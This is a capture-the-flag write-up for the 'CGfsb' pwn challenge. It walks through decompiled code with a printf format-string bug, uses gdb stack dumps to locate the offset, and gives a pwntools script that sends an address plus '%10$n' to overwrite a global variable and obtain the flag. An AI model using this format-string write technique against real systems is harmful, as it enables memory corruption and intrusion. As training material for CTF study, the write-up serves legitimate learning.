CGCTF pwn CGfsb writeup



tucker@ubuntu:~/pwn_files\$ checksec d8a286904057473e83da8b852a7d0bae [*] '/home/tucker/pwn_files/d8a286904057473e83da8b852a7d0bae' i386-32-little Arch: RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) tucker@ubuntu:~/pwn files\$ file d8a286904057473e83da8b852a7d0bae d8a286904057473e83da8b852a7d0bae: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=113a10b953bc39c6e182c4ce6e05582ba2f8017a, not stripped

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]
  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}
```

从中我们可以看到很明显的一个格式化字符串溢出漏洞,printf(&s);并且程序判断pwnme(全局变量,其地址 不会改变)的值为8时,会执行我们感兴趣的函数system("cat flag"),因此我们可以考虑构造合适的s,和%n使 得能够修改全局变量pwnme的值为8。

3、在gdb中我们对其进行调试,发现在输入s的值之后,s的值仍然会存在于栈中(并且出现两次)。在gdb中加载程序:

```
tucker@ubuntu:~/pwn_files$ gdb -q
gdb-peda$ file d8a286904057473e83da8b852a7d0bae
Reading symbols from d8a286904057473e83da8b852a7d0bae...(no debugging symbols found)...done.
gdb-peda$ start
```

接下来我们进行一步步调试,使用%x打印出地址,定位溢出点:

```
ECX: 0xf7fb6dc7 --> 0xfb78900a
EDX: 0xf7fb7890 --> 0x0
ESI: 0xf7fb6000 --> 0x1d7d6c
EDI: 0xffffd18c --> 0xf6727100
EBP: 0xffffd1a8 --> 0x0
EIP: 0x80486cd (<main+256>: call 0x8048460 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[------]
  0x80486c1 <main+244>: call 0x8048490 <puts@plt>
  0x80486c6 <main+249>: lea eax,[esp+0x28]
                     DWORD PTR [esp],eax
  0x80486ca <main+253>: mov
=> 0x80486cd <main+256>: call 0x8048460 <printf@plt>
  0x80486d2 <main+261>: mov
                     eax,ds:0x804a068
  0x80486d7 <main+266>: cmp eax,0x8
  0x80486da <main+269>: jne 0x80486f6 <main+297>
  0x80486dc <main+271>: mov DWORD PTR [esp],0x8048810
Guessed arguments:
[-----]
0004| 0xffffd104 --> 0xffffd11e ("sss\n")
0008 0xffffd108 --> 0xf7fb65c0 --> 0xfbad208b
0012 | 0xffffd10c --> 0xffffd16c --> 0x0
0016| 0xffffd110 --> 0xf7ffda9c --> 0xf7fd03e0 --> 0xf7ffd940 --> 0x0
0020 | 0xffffd114 --> 0x1
0024 | 0xffffd118 --> 0xf7fd0410 --> 0x804834b ("GLIBC_2.0")
0028 | 0xffffd11c --> 0x73730001
[-----]
Legend: code, data, rodata, value
0x080486cd in main ()
gdb-peda$ context_stack 20
[-----stack------]
0004 | 0xffffd104 --> 0xffffd11e ("sss\n")
0008 0xffffd108 --> 0xf7fb65c0 --> 0xfbad208b
0012| 0xffffd10c --> 0xffffd16c --> 0x0
0016| 0xffffd110 --> 0xf7ffda9c --> 0xf7fd03e0 --> 0xf7ffd940 --> 0x0
0020| 0xffffd114 --> 0x1
0024 | 0xffffd118 --> 0xf7fd0410 --> 0x804834b ("GLIBC 2.0")
0028 0xffffd11c --> 0x73730001
0032 | 0xffffd120 --> 0xa73 ('s\n')
0036 | 0xffffd124 --> 0x0
0056 0xffffd138 (".%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.h")
0060 0xffffd13c ("%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x)n")
0064 0xffffd140 ("x.%x.%x.%x.%x.%x.%x.%x.%x)n")
0068 0xffffd144 (".%x.%x.%x.%x.%x.%x\n")
0072| 0xffffd148 ("%x.%x.%x.%x.%x\n")
0076| 0xffffd14c ("x.%x.%x.%x\n")
gdb-peda$ ni
aaaa.ffffd11e.f7fb65c0.ffffd16c.f7ffda9c.1.f7fd0410.73730001.a73.0.6161616161.2e78252e.252e7825.78252e78.2e78
```

从中我们可以看到第10个地址是我们可以控制的位置,因此我们可以控制aaaa为pwnme变量的地址,并将打印的字符的个数输出到这个地址。

4、编写Python脚本如下:

```
from pwn import *
# a = process("./d8a286904057473e83da8b852a7d0bae")
a = remote("111.198.29.45", "46613")
a.recvuntil("please tell me your name:")
a.send("sss")
a.recvuntil("leave your message please:")
addr = p32(0x804a068)
a.send(addr + "aaaa%10$n")
a.interactive()
```

(说明: 有关pwntools脚本的相关资料, 可参见我以前的blog)

运行之后:

```
tucker@ubuntu:~/pwn_files$ python CGfsb.py
[+] Starting local process './d8a286904057473e83da8b852a7d0bae': pid 8569
[+] Opening connection to 111.198.29.45 on port 46613: Done
[*] Switching to interactive mode
$ ls
hello sssyour message is:
h\xa0\x0aaaals
you pwned me, here is your flag:
cyberpeace{7f8ebb8999119f622e933461897e3fc2}
[*] Got EOF while reading in interactive
$
```

可以看到我们成功得到了远程的shell,并得到了flag